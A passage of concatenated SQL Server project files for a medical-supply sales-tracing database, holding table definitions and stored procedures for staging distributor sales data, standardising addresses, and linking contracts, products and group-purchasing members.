[CBSA_CODE_DESCRIPTION] VARCHAR (MAX) NULL,
[CBSA_POPULATION_EST_MOST_RECENT] VARCHAR (MAX) NULL,
[CBSA_POPULATION_GROWTH_MOST_RECENT] VARCHAR (MAX) NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[NETWORK_ID] VARCHAR (MAX) NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[NETOWRK_PARENT_NAME] VARCHAR (MAX) NULL,
[NPI_NUMBER] VARCHAR (MAX) NULL,
[PROGRAM_340B_ID] VARCHAR (MAX) NULL,
[HIN] VARCHAR (MAX) NULL,
[GLN] VARCHAR (MAX) NULL,
[DEA_REGISTRATION_NUMBER] VARCHAR (MAX) NULL,
[MEDICAL_SCHOOL_AFFILIATION] VARCHAR (MAX) NULL,
[ACCREDITATION_AGENCY] VARCHAR (MAX) NULL,
[HOSPITAL_OWNERSHIP] VARCHAR (MAX) NULL,
[MEDICARE_ADMINISTRATIVE_CONTRACTOR] VARCHAR (MAX) NULL,
[FINANCIAL_DATA_DATE] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_SAVE_EXC_CORR.sql
CREATE PROCEDURE [TRC].[spTRC_SAVE_EXC_CORR]
@vTRC_CNT_ID varchar(30), @vUPD_CNT_ID varchar(30), @vPROD_ID varchar(15) --, @vUPD_EXP_DT DATE
WITH EXEC AS CALLER
AS
BEGIN
BEGIN
MERGE [PDI_SALESTRACING_DEV].[STAGE].[TRC_CNT_CORR_XREF] T
USING
(SELECT TRC_CNT_ID = @vTRC_CNT_ID, PROD_ID=@vPROD_ID, UPD_CNT_ID=@vUPD_CNT_ID,
TRC_CNT_TYP=CASE WHEN LEFT(@vTRC_CNT_ID,3)='CNT' THEN 'PDI' ELSE 'GPO' END ) AS S
ON T.TRC_CNT_ID = S.TRC_CNT_ID AND T.PROD_ID = S.PROD_ID
WHEN NOT MATCHED BY TARGET THEN
INSERT
(TRC_CNT_ID, PROD_ID, UPD_CNT_ID, TRC_CNT_TYP)
VALUES
(S.TRC_CNT_ID, S.PROD_ID, S.UPD_CNT_ID, S.TRC_CNT_TYP)
WHEN MATCHED THEN
UPDATE
SET T.UPD_CNT_ID = S.UPD_CNT_ID;
END;
END<file_sep>/PDI_SALESTRACING_DEV/CONT/Stored Procedures/GET_PROD_ID_AUTOFILL.sql
-- =============================================
-- Author: <NAME>
-- Create date:01/15/2019
-- Description:autofill by prod id
-- =============================================
CREATE PROCEDURE [CONT].[GET_PROD_ID_AUTOFILL]
(@cntnr varchar (20),
@NAME varchar (15)
)
AS
BEGIN
SET NOCOUNT ON;
select x.[PROD_ID] from [PROD].[PRODUCT] x inner join [CONT].[CNT_PROD] y on x.prod_id=y.prod_id and y.cnt_nr=@cntnr where x.prod_id like @NAME +'%'
END
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spCMS_PRE_WASH.sql
CREATE PROCEDURE [STAGE].[spCMS_PRE_WASH]
WITH EXEC AS CALLER
AS
BEGIN
UPDATE MDM_STAGE.CMS_COMPANY
SET STAT_CD = 0
-- 6 SECOND
/*
-------------- STA_CD ---------------------
STATS_CD = 12, - both ADDR1 and ADDR2 is good to go
STATS_CD = 10 - ADDR1 is good, ADDR2 does not exist
STAT_CD = 1 - AdDR1 is good, ADDR2 needs work
STAT_CD = 2 - AdDR2 is good, ADDR1 needs work
STAT_CD = 0 - The record hasn't been worked on yet
--------------------------------------------
*/
UPDATE MDM_STAGE.CMS_COMPANY SET
CMPNY_ADDR_1 = UPPER(STAGE.fnRemoveSpace_SpChar(CMPNY_ADDR_1)),
CMPNY_ADDR_2 = UPPER(STAGE.fnRemoveSpace_SpChar(CMPNY_ADDR_2))
-- WHERE STAT_CD < 10
-- 33 sec
-- TAKE OUT # FROM ADDR 2
UPDATE MDM_STAGE.CMS_COMPANY SET
CMPNY_ADDR_2 = STAGE.fnRemoveSpace(REPLACE(CMPNY_ADDR_2,'#','UNIT ')),
STAT_CD = 2
WHERE LEFT(CMPNY_ADDR_2,1) = '#'
AND STAT_CD = 0 ; -- Untouched record (0) or only ADDR1 is okay (1)
-- 1 sec 27k record
UPDATE C SET
CMPNY_ADDR_2 = STAGE.fnRemoveSpace(REPLACE(CMPNY_ADDR_2,'#',' ')),
STAT_CD = 2
FROM MDM_STAGE.CMS_COMPANY C
JOIN REF.ADDR_STD A ON CMPNY_ADDR_2 LIKE '%'+A.ADDR_VAR+'#%' AND A.CAT = 'ADDR2_KEEP' AND A.ADDR_VAR <> '#'
WHERE STAT_CD = 0;
-- 35 SEC
-- 2K
-- Now take care of addr 2 first
UPDATE T
SET T.CMPNY_ADDR_2 = REPLACE(T.CMPNY_ADDR_2,A.ADDR_VAR, A.ADDR_STD),
STAT_CD = 2
FROM
MDM_STAGE.CMS_COMPANY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(T.CMPNY_ADDR_2) = A.ADDR_VAR AND A.CAT = 'ADDR2_KEEP'
AND T.CMPNY_ADDR_2 IS NOT NULL
OPTION (MERGE JOIN);
-- 11 SECOND
UPDATE T
SET T.CMPNY_ADDR_2 = A.ADDR_STD,
STAT_CD = 2
FROM
MDM_STAGE.CMS_COMPANY T,
REF.ADDR_STD A
WHERE
STAGE.fnFirstWord(T.CMPNY_ADDR_2) +' '+STAGE.fnSecondWord(T.CMPNY_ADDR_2) = A.ADDR_VAR
AND A.ADDR_TYP = 'FLOOR'
AND T.CMPNY_ADDR_2 IS NOT NULL
AND T.STAT_CD = 0
OPTION (MERGE JOIN);
-- 34 SECOND
-- But if the word count is more than two in addr 2 it might be a bad address
UPDATE MDM_STAGE.CMS_COMPANY
SET STAT_CD = 0
WHERE STAT_CD = 2
AND STAGE.fnwordcount(CMPNY_ADDR_2) > 2
-- TAKE OUT DIRECTION
UPDATE C
SET DIR = ltrim(rtrim(A.ADDR_STD)),
CMPNY_ADDR_1 = STAGE.fnGet_FirstPart(CMPNY_ADDR_1,LEN(CMPNY_ADDR_1)-LEN(A.ADDR_VAR))
FROM MDM_STAGE.CMS_COMPANY C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(CMPNY_ADDR_1) = A.ADDR_VAR
AND A.CAT = 'DIRECTION'
OPTION (MERGE JOIN);
-- 40 SEC
UPDATE C
SET STAT_CD = 10
FROM MDM_STAGE.CMS_COMPANY C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(CMPNY_ADDR_1) = A.ADDR_STD
AND A.CAT IN ('Roadway','Location')
WHERE ISNUMERIC(STAGE.fnFirstWord(C.CMPNY_ADDR_1)) = 1
AND C.CMPNY_ADDR_2 IS NULL
OPTION (MERGE JOIN) ;
-- 42 seconds
-- 1.9 MILLION IS TAKEN CARE OFF
UPDATE C
SET STAT_CD = 10,
CMPNY_ADDR_1 = STAGE.fnGet_FirstPart(CMPNY_ADDR_1,LEN(CMPNY_ADDR_1)-LEN(A.ADDR_VAR))+' '+A.ADDR_STD
FROM MDM_STAGE.CMS_COMPANY C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(CMPNY_ADDR_1) = A.ADDR_VAR
AND A.CAT IN ('Roadway','Location')
WHERE ISNUMERIC(STAGE.fnFirstWord(C.CMPNY_ADDR_1)) = 1
AND C.CMPNY_ADDR_2 IS NULL
OPTION(MERGE JOIN);
--1.5 MIN
UPDATE C
SET STAT_CD = 12
FROM MDM_STAGE.CMS_COMPANY C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(CMPNY_ADDR_1) = A.ADDR_STD
AND A.CAT IN ('Roadway','Location')
WHERE ISNUMERIC(STAGE.fnFirstWord(C.CMPNY_ADDR_1)) = 1
AND C.STAT_CD = 2
OPTION(MERGE JOIN);
-- 11 SEC
-- ADDR_STD is also ADD_VAR - doing the ones above - reduces burden on the one following
UPDATE C
SET STAT_CD = 12,
CMPNY_ADDR_1 = STAGE.fnGet_FirstPart(CMPNY_ADDR_1,LEN(CMPNY_ADDR_1)-LEN(A.ADDR_VAR))+' '+A.ADDR_STD
FROM MDM_STAGE.CMS_COMPANY C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(CMPNY_ADDR_1) = A.ADDR_VAR
AND A.CAT IN ('Roadway','Location')
WHERE ISNUMERIC(STAGE.fnFirstWord(C.CMPNY_ADDR_1)) = 1
AND C.STAT_CD = 2
OPTION(MERGE JOIN);
UPDATE C
SET STAT_CD = 1
FROM MDM_STAGE.CMS_COMPANY C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(CMPNY_ADDR_1) = A.ADDR_STD
AND A.CAT IN ('Roadway','Location')
WHERE ISNUMERIC(STAGE.fnFirstWord(C.CMPNY_ADDR_1)) = 1
AND C.CMPNY_ADDR_2 IS NOT NULL
AND C.STAT_CD = 0
OPTION (MERGE JOIN) ;
-- 9 SEC
-- 190K IS TAKEN CARE OFF
UPDATE C
SET STAT_CD = 1,
CMPNY_ADDR_1 = STAGE.fnGet_FirstPart(CMPNY_ADDR_1,LEN(CMPNY_ADDR_1)-LEN(A.ADDR_VAR))+' '+A.ADDR_STD
FROM MDM_STAGE.CMS_COMPANY C
JOIN REF.ADDR_STD A ON STAGE.fnLastWord(CMPNY_ADDR_1) = A.ADDR_VAR
AND A.CAT IN ('Roadway','Location')
WHERE ISNUMERIC(STAGE.fnFirstWord(C.CMPNY_ADDR_1)) = 1
AND C.CMPNY_ADDR_2 IS NOT NULL
AND C.STAT_CD = 0
OPTION(MERGE JOIN);
END;<file_sep>/PDI_SALESTRACING_DEV/TRC/Stored Procedures/spTRC_GET_ERR_EXC_BUYERS.sql
CREATE PROCEDURE [TRC].[spTRC_GET_ERR_EXC_BUYERS]
@vSales_Period VARCHAR(10) =null,
@vDIST_ID VARCHAR(20) = NULL,
@contractId VARCHAR(20) = NULL
AS
BEGIN
SELECT DISTINCT
C.GROUP_NAME
FROM [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR] S
JOIN [PDI_SALESTRACING_DEV].[STAGE].[DIM_CONTRACT] C ON S.UPD_CNT_ID = C.CONTRACT_NO
AND C.CURRENT_INDICATOR = 'Y'
JOIN PDI_SALESTRACING_DEV.REF.LKUP_CD L ON S.ERR_CD = L.LKUP_CD
AND L.LKUP_DOMAIN_CD = 'SLS_TRC_CALC'
AND L.CD_TYP = 'ERROR'
LEFT JOIN PDI_SALESTRACING_DEV.STAGE.TRC_CNT_CORR_XREF X ON S.TRC_CNT_ID = X.TRC_CNT_ID
AND S.UPD_PROD_ID = X.PROD_ID
WHERE S.RBT_CALC_STAT = 'E'-- S.Err_Cd = 'EXC'
AND S.SALES_PERIOD = ISNULL(@vSales_Period, S.SALES_PERIOD)
AND S.DIST_ID = ISNULL(@vDIST_ID, S.DIST_ID)
ORDER BY GROUP_NAME
END;<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/TRC_DDI_CCD.sql
CREATE TABLE [STG0].[TRC_DDI_CCD] (
[SALES_PERIOD] VARCHAR (10) NULL,
[DIST_ID] VARCHAR (48) NULL,
[DIST_NR] VARCHAR (15) NULL,
[SHPTO_ID] VARCHAR (MAX) NULL,
[SHPTO_NM] VARCHAR (MAX) NULL,
[SHPTO_ADDR_1] VARCHAR (MAX) NULL,
[SHPTO_ADDR_2] VARCHAR (MAX) NULL,
[SHPTO_CITY] VARCHAR (MAX) NULL,
[SHPTO_ST] VARCHAR (MAX) NULL,
[SHPTO_ZIP] VARCHAR (MAX) NULL,
[INV_ID] VARCHAR (MAX) NULL,
[INV_DT] VARCHAR (MAX) NULL,
[TRC_QTY_SLD] VARCHAR (MAX) NULL,
[TRC_LIST_PRC] VARCHAR (MAX) NULL,
[TRC_PROD_ID] VARCHAR (MAX) NULL,
[TRC_EXT_LIST_COST] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/OLD_OBJECTS.sql
CREATE SCHEMA [OLD_OBJECTS]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/SNDBX/Tables/MD_NM.sql
CREATE TABLE [SNDBX].[MD_NM] (
[MD_CMPNY_ID] INT NOT NULL,
[MD_NM] VARCHAR (100) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DATA_LOAD_SUMMARY.sql
CREATE TABLE [STAGE].[DATA_LOAD_SUMMARY] (
[SALESPERIOD] VARCHAR (10) NULL,
[DIST_NR] VARCHAR (20) NULL,
[DISTID] VARCHAR (20) NULL,
[REC_CNT] INT NULL,
[CS_QTY] NUMERIC (38, 8) NULL,
[SALES_AMT] NUMERIC (38, 2) NULL,
[CS_QTY_6MO_AVG] DECIMAL (38, 2) NULL,
[CS_QTY_12MO_AVG] DECIMAL (38, 2) NULL,
[SALES_AMT_6MO_AVG] DECIMAL (38, 2) NULL,
[SALES_AMT_12MO_AVG] DECIMAL (38, 2) NULL,
[SALES_PERIOD_DT] DATE NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_COMPANY.sql
CREATE TABLE [STG0].[PDI_COMPANY] (
[COMPANYID] VARCHAR (MAX) NULL,
[COMPANYTYPE] VARCHAR (MAX) NULL,
[COMPANYNAME] VARCHAR (MAX) NULL,
[ADDRESS1] VARCHAR (MAX) NULL,
[ADDRESS2] VARCHAR (MAX) NULL,
[CITY] VARCHAR (MAX) NULL,
[STATECODE] VARCHAR (MAX) NULL,
[ZIPCODE] VARCHAR (MAX) NULL,
[ZIPPLUS4] VARCHAR (MAX) NULL,
[HIN] VARCHAR (MAX) NULL,
[GLN] VARCHAR (MAX) NULL,
[DEA] VARCHAR (MAX) NULL,
[ADMISSIONS] VARCHAR (MAX) NULL,
[BEDS_CENSUS] VARCHAR (MAX) NULL,
[BEDS_CENSUS_CCU] VARCHAR (MAX) NULL,
[BEDS_CENSUS_ICU] VARCHAR (MAX) NULL,
[OUTPATIENT] VARCHAR (MAX) NULL,
[OPERATINGROOMS] VARCHAR (MAX) NULL,
[TotalPatientDays] VARCHAR (MAX) NULL,
[IPSurgeries] VARCHAR (MAX) NULL,
[OPSurgeries] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_PG_Physicians.sql
CREATE TABLE [STG0].[PDI_PG_Physicians] (
[PG_DEF_ID] VARCHAR (MAX) NULL,
[PG_NAME] VARCHAR (MAX) NULL,
[NPI] VARCHAR (MAX) NULL,
[LAST_NAME] VARCHAR (MAX) NULL,
[FIRST_NAME] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] VARCHAR (MAX) NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[MEDICARE_CLAIMS] VARCHAR (MAX) NULL,
[MEDICARE_CHARGE_AMT] VARCHAR (MAX) NULL,
[MEDICARE_PAYMENT_AMT] VARCHAR (MAX) NULL,
[MEDICARE_ALLOWED_AMT] VARCHAR (MAX) NULL,
[SPECIALTY_PRIMARY] VARCHAR (MAX) NULL,
[SPECIALTY_SECONDARY] VARCHAR (MAX) NULL,
[PRIMARY_AFFILIATION_HOSPITAL_NAME] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/TRC/Tables/SALES_TRACING_VAR_PROD.sql
CREATE TABLE [TRC].[SALES_TRACING_VAR_PROD] (
[SALES_PERIOD] VARCHAR (10) NULL,
[DIST_NR] VARCHAR (15) NULL,
[DIST_ID] VARCHAR (48) NULL,
[DIST_CNT_NR] VARCHAR (30) NULL,
[DIST_PROD_ID] VARCHAR (48) NULL,
[PDI_CNT_NR] VARCHAR (30) NULL,
[PDI_PROD_ID] VARCHAR (48) NULL,
[VC_CNT_NR] VARCHAR (30) NULL,
[VC_PROD_ID] VARCHAR (30) NULL,
[PDI_QtySold] DECIMAL (18, 2) NULL,
[VC_QtySold] DECIMAL (18, 2) NULL,
[PDI_SALESAMT] DECIMAL (18, 2) NULL,
[VC_SALESAMT] DECIMAL (18, 2) NULL,
[VAR_QTY_SOLD] DECIMAL (19, 2) NULL,
[VAR_SALES_AMT] DECIMAL (19, 2) NULL,
[PDI_PRC] DECIMAL (18, 2) NULL,
[VC_PRC] DECIMAL (18, 2) NULL,
[CORR_PRC] DECIMAL (18, 2) NULL,
[ISSUE] VARCHAR (200) NULL,
[ISSUE_WITH] VARCHAR (10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/COMPANY_TO_COMPANY.sql
CREATE TABLE [CMPNY].[COMPANY_TO_COMPANY] (
[CMPNY_TO_CMPNY_ID] INT IDENTITY (1, 1) NOT NULL,
[CMPNY_TO_ID] INT NOT NULL,
[CMPNY_ID] INT NOT NULL,
[RLTN_TYP_ID] INT NOT NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_IN] CHAR (1) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DHC_COMPANY_BKUP.sql
CREATE TABLE [STAGE].[DHC_COMPANY_BKUP] (
[DHC_CO_ID] INT NOT NULL,
[DHC_CO_NM_1] VARCHAR (255) NULL,
[DHC_CO_NM_2] VARCHAR (255) NULL,
[DHC_CO_NM_2_TYP] VARCHAR (20) NULL,
[DHC_CO_ADDR_1] VARCHAR (255) NULL,
[DHC_CO_ADDR_2] VARCHAR (255) NULL,
[DHC_CO_CITY] VARCHAR (255) NULL,
[UPDT_CO_CITY] VARCHAR (50) NULL,
[DHC_CO_ST] CHAR (2) NULL,
[DHC_CO_ZIP] VARCHAR (10) NOT NULL,
[DHC_CO_CNTRY] CHAR (3) NULL,
[DHC_CO_CAT_CD] VARCHAR (50) NULL,
[DHC_CO_SUB_CAT] VARCHAR (255) NULL,
[DHC_NTWRK_ID] INT NULL,
[DHC_NTWRK_PARENT_ID] INT NULL,
[HSPTL_PARENT_ID] INT NULL,
[DHC_CO_WEBSITE] VARCHAR (255) NULL,
[NPI_NR] VARCHAR (50) NULL,
[GLN_NR] VARCHAR (50) NULL,
[HIN_NR] VARCHAR (50) NULL,
[DEA_NR] VARCHAR (50) NULL,
[DHC_STAT] VARCHAR (20) NULL,
[ISSUE_FLG] VARCHAR (20) NULL,
[DHC_CNTY] VARCHAR (40) NULL,
[UNIQ_FLAG] SMALLINT NULL,
[MFP_FLAG] SMALLINT NULL,
[ORIG_NM] VARCHAR (255) NULL,
[ORIG_ADDR1] VARCHAR (200) NULL,
[ORIG_ADDR2] VARCHAR (100) NULL,
[UPD_NM] VARCHAR (255) NULL,
[UPD_ADDR1] VARCHAR (200) NULL,
[UPD_ADDR2] VARCHAR (100) NULL,
[MATCH_MTHD_cd] VARCHAR (10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CONT/Stored Procedures/GET_COMMUNICATION.sql
-- =============================================
-- Author: <NAME>
-- Create date: 01/21/2019
-- Description: communication feedback page
-- =============================================
CREATE PROCEDURE CONT.GET_COMMUNICATION
@user1_fullname nvarchar(255)=null,
@user1_date varchar(11)=null,
@user1_comm [varchar](4000)=null,
@user1_comm_id int=null,
@res1_name nvarchar(255)=null,
@res1_date varchar(11)=null,
@res1_comm [varchar](4000)=null,
@res1_comm_res_id int=null,
@res2_name nvarchar(255)=null,
@res2_date varchar(11)=null,
@res2_comm [varchar](4000)=null,
@res2_comm_res_id int=null,
@cont varchar (20)=NULL
AS
BEGIN
SET NOCOUNT ON;
DROP TABLE IF EXISTS #us1
select c.[USR_FULL_NM] as full_name,a.COMM_DTTS,a.COMM ,a.COMM_ID
into #us1
from cont.COMMUNICATION a
inner join [PCM].[PCM_USER] c on a.COMM_BY_USR_ID_FK=c.[USR_ID] and a.COMM_USR_ID=c.[USR_LOGIN_NM]
--inner join [CONT].[COMM_RESP] b on a.comm_id=b.COMM_ID_FK
where a.CNTXT=@cont
set @user1_fullname=(select full_name from #us1)
set @user1_comm_id=(select COMM_ID from #us1)
set @user1_date=(select CONVERT(VARCHAR(11), COMM_DTTS, 106) from #us1)
set @user1_comm=(select COMM from #us1)
DROP TABLE IF EXISTS #res1
select top 1 b.COMM_RESP_ID,c.USR_FULL_NM,b.RESP_DTTS,b.RESP
into #res1
from cont.COMMUNICATION a
inner join [CONT].[COMM_RESP] b on a.comm_id=b.COMM_ID_FK
inner join [PCM].[PCM_USER] c on b.RESP_USER_ID_FK=c.USR_ID
where a.CNTXT=@cont and b.COMM_ID_FK=@user1_comm_id
order by b.[RESP_DTTS]
set @res1_name = (select USR_FULL_NM from #res1)
set @res1_date = (select CONVERT(VARCHAR(11),RESP_DTTS,106) from #res1)
set @res1_comm =(select RESP from #res1)
set @res1_comm_res_id =(select COMM_RESP_ID from #res1)
DROP TABLE IF EXISTS #res2
set statistics io on
;with cte as
(
select top 2 * ,
ROW_NUMBER() over (order by b.RESP_DTTS) as rn
from cont.COMMUNICATION a
inner join [CONT].[COMM_RESP] b on a.comm_id=b.COMM_ID_FK
inner join [PCM].[PCM_USER] c on b.RESP_USER_ID_FK=c.USR_ID
where a.CNTXT=@cont and b.COMM_ID_FK=@user1_comm_id
order by b.[RESP_DTTS]
)
select COMM_RESP_ID,USR_FULL_NM,RESP_DTTS,RESP into #res2 from cte where rn=2
set @res2_name = (select USR_FULL_NM from #res2)
set @res2_date = (select CONVERT(VARCHAR(11),RESP_DTTS,106) from #res2)
set @res2_comm =(select RESP from #res2)
set @res2_comm_res_id =(select COMM_RESP_ID from #res2)
select @user1_fullname as us1_full_name,@user1_comm_id as us1_comm_id,@user1_date as us1_date,@user1_comm as us1_comm,@res1_name as res1_name,@res1_date as res1_date, @res1_comm as res1_comm,@res1_comm_res_id as res1_comm_id,@res2_name as res2_name,@res2_date as res2_date, @res2_comm as res2_comm,@res2_comm_res_id as res2_comm_id
DROP TABLE IF EXISTS #us1
DROP TABLE IF EXISTS #res1
DROP TABLE IF EXISTS #res2
END
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spLOAD_NON_EDI_DATA_STAGE.sql
CREATE PROCEDURE [STAGE].[spLOAD_NON_EDI_DATA_STAGE]
@vSales_Period varchar(8) = null, @vdist_id varchar(50) = null
WITH EXEC AS CALLER
AS
BEGIN
MERGE [STAGE].[SLS_TRC_LOAD_DTL_STAGE] T
USING (
SELECT DIST_NR, DIST_ID, SALES_PERIOD, SALES_PERIOD AS RECVD_DTE,
'PENDING' AS LOAD_STAT, 'BLK' AS SRC_FILE_TYP, COUNT(*) AS REC_CNT
FROM [STG0].[SALES_TRACING_NON_EDI_ETL]
WHERE SALES_PERIOD = isnull(@vSales_Period, SALES_PERIOD )
AND DIST_ID = isnull(@vdist_Id, DIST_ID)
GROUP BY DIST_NR, DIST_ID, SALES_PERIOD
) S ON T.DIST_ID = S.DIST_NR AND T.SALES_PERIOD = S.SALES_PERIOD
WHEN NOT MATCHED BY TARGET THEN -- That means it is a new Contract
INSERT
( DIST_ID, DIST_TRC_NM, SALES_PERIOD, RECVD_DTE, LOAD_STAT,SRC_FILE_TYP, REC_CNT)
VALUES
( DIST_NR, DIST_ID, SALES_PERIOD, RECVD_DTE, LOAD_STAT,SRC_FILE_TYP, REC_CNT)
WHEN MATCHED THEN
UPDATE SET T.REC_CNT = S.REC_CNT, T.LOAD_STAT = S.LOAD_STAT ;
END
DELETE C FROM [STG0].[SALES_TRACING_NON_EDI_ETL_Stage] C
INNER JOIN [STAGE].[SLS_TRC_LOAD_DTL_STAGE] L
ON C.DIST_NR = L.DIST_ID
AND C.SALES_PERIOD = L.SALES_PERIOD
AND L.LOAD_STAT = 'PENDING' AND L.SRC_FILE_TYP = 'BLK' ;
INSERT INTO [STG0].[SALES_TRACING_NON_EDI_ETL_Stage](
[MNTH] , [DAY], [SALES_PERIOD],[YEAR] , [DIST_ID], [DIST_NR] ,
[TRC_TRANS_TYP] , [TRC_CNT_ID] , [TRC_PROD_ID] , [TRC_PRC_TYP],
[INV_ID] , [INV_DT] ,[INV_DT_NR] ,[TRC_UNIT] ,[TRC_QTY_SLD] ,
[TRC_CNT_PRC] ,[TRC_LIST_PRC] ,[TRC_DIST_PRC],[TRC_RBT_AMT] ,[LINE_NR] ,
[SHPTO_ID] ,[SHPTO_NM] ,[SHPTO_ADDR_1] ,[SHPTO_ADDR_2] ,[SHPTO_CITY] ,[SHPTO_ST] ,[SHPTO_ZIP] ,[SHPTO_TYP] ,
[BILLTO_ID] ,[BILLTO_NM] ,[BILLTO_ADDR_1],[BILLTO_ADDR_2],[BILLTO_CITY] ,[BILLTO_ST] ,[BILLTO_ZIP],[BILLTO_TYP],
[DBT_MEMO] ,[CURRENT TIMESTAMP]
,[TRC_EXT_LIST_COSt], [TRC_EXT_CNT_COST] --, [TRC_EXT_DIST_COST]
, [TRC_EXT_RBT_AMT] ,[TRC_PROD_DESC] ,CH_DIST_ID
)
SELECT [MNTH],[DAY],L.[SALES_PERIOD],[YEAR],E.[DIST_ID] ,[DIST_NR]
,left([TRC_TRANS_TYP],2) ,left([TRC_CNT_ID],30),left([TRC_PROD_ID],48)
,left([TRC_PRC_TYP],15) ,left([INV_ID],30),TRY_CONVERT(DATE,[INV_DT]),
[INV_DT_NR],TRY_convert(char(3),left([TRC_UNIT],3))
,TRY_convert(float,[TRC_QTY_SLD]),TRY_convert(float,[TRC_CNT_PRC]) ,TRY_convert(float,[TRC_LIST_PRC]),TRY_convert(float,[TRC_DIST_PRC])
,TRY_convert(float,[TRC_RBT_AMT]) ,TRY_convert(int,[LINE_NR]),left([SHPTO_ID],20),left([SHPTO_NM],200),left([SHPTO_ADDR_1],100)
,left([SHPTO_ADDR_2],100),left([SHPTO_CITY],100),left([SHPTO_ST],10),left([SHPTO_ZIP],12),left([SHPTO_TYP],100) ,left([BILLTO_ID],20)
,left([BILLTO_NM],200) ,left([BILLTO_ADDR_1],150),left([BILLTO_ADDR_2],150),left([BILLTO_CITY],100),left([BILLTO_ST],10),left([BILLTO_ZIP],12)
,left([BILLTO_TYP],100) ,left([DBT_MEMO],40) ,left([CURRENT TIMESTAMP],50) ,TRY_convert(float,[TRC_EXT_LIST_COST]),TRY_convert(float,[TRC_EXT_CNT_COST])
--,TRY_convert(float,[TRC_EXT_DIST_COST])
,TRY_convert(float,[TRC_EXT_RBT_AMT]) ,[TRC_PROD_DESC],CH_DIST_ID
FROM [STG0].[SALES_TRACING_NON_EDI_ETL] E
JOIN [STAGE].[SLS_TRC_LOAD_DTL_STAGE] L ON E.DIST_NR = L.DIST_ID AND E.SALES_PERIOD = L.SALES_PERIOD
AND L.LOAD_STAT = 'PENDING'
WHERE E.sales_period = isnull(@vSales_Period, E.sales_period )
AND E.dist_id = isnull(@vdist_Id, E.dist_id)
UPDATE [STAGE].[SLS_TRC_LOAD_DTL_STAGE]
SET LOAD_STAT = 'COMPLETE'
WHERE LOAD_STAT = 'PENDING'
AND DIST_TRC_NM = isnull(@vdist_Id, DIST_TRC_NM)
AND SALES_PERIOD = isnull(@vSales_Period,SALES_PERIOD)
;
delete e from [STG0].[SALES_TRACING_NON_EDI_ETL_Stage] e
where e.TRC_PROD_ID is null
--EXEC [STAGE].[spLOAD_NON_EDI_DATA_STAGE]
--select * from [STG0].[SALES_TRACING_NON_EDI_ETL_Stage] <file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/GPO_MEMBER.sql
CREATE TABLE [CMPNY].[GPO_MEMBER] (
[PDI_GPO_MEMBER_ID] INT IDENTITY (7000001, 1) NOT NULL,
[GPO_CMPNY_ID] INT NULL,
[SRC_GPO_MEMBER_ID] VARCHAR (50) NOT NULL,
[SRC_GPO_MEMBER_ALT_ID] VARCHAR (50) NULL,
[CMPNY_ID] INT NULL,
[MMBR_NM] VARCHAR (255) NOT NULL,
[MMBR_ADDR_1] VARCHAR (255) NULL,
[MMBR_ADDR_2] VARCHAR (255) NULL,
[MMBR_CITY] VARCHAR (255) NULL,
[MMBR_ST] CHAR (2) NULL,
[MMBR_ZIP] VARCHAR (10) NOT NULL,
[MMBR_CNTRY] CHAR (3) NULL,
[GLN_NR] VARCHAR (50) NULL,
[HIN_NR] VARCHAR (50) NULL,
[DEA_NR] VARCHAR (50) NULL,
[NPI_NR] VARCHAR (50) NULL,
[MMBR_EFF_DT] DATE NULL,
[MMBR_EXP_DT] DATE NULL,
[MMB_ACT_STAT_CD] CHAR (1) NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_IN] CHAR (1) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_LTC_ALF_Overview.sql
CREATE TABLE [STAGE].[PDI_LTC_ALF_Overview] (
[HOSPITAL_ID] INT NULL,
[NPI_NUMBER] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_COUNTY] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] INT NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[NETWORK_ID] INT NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
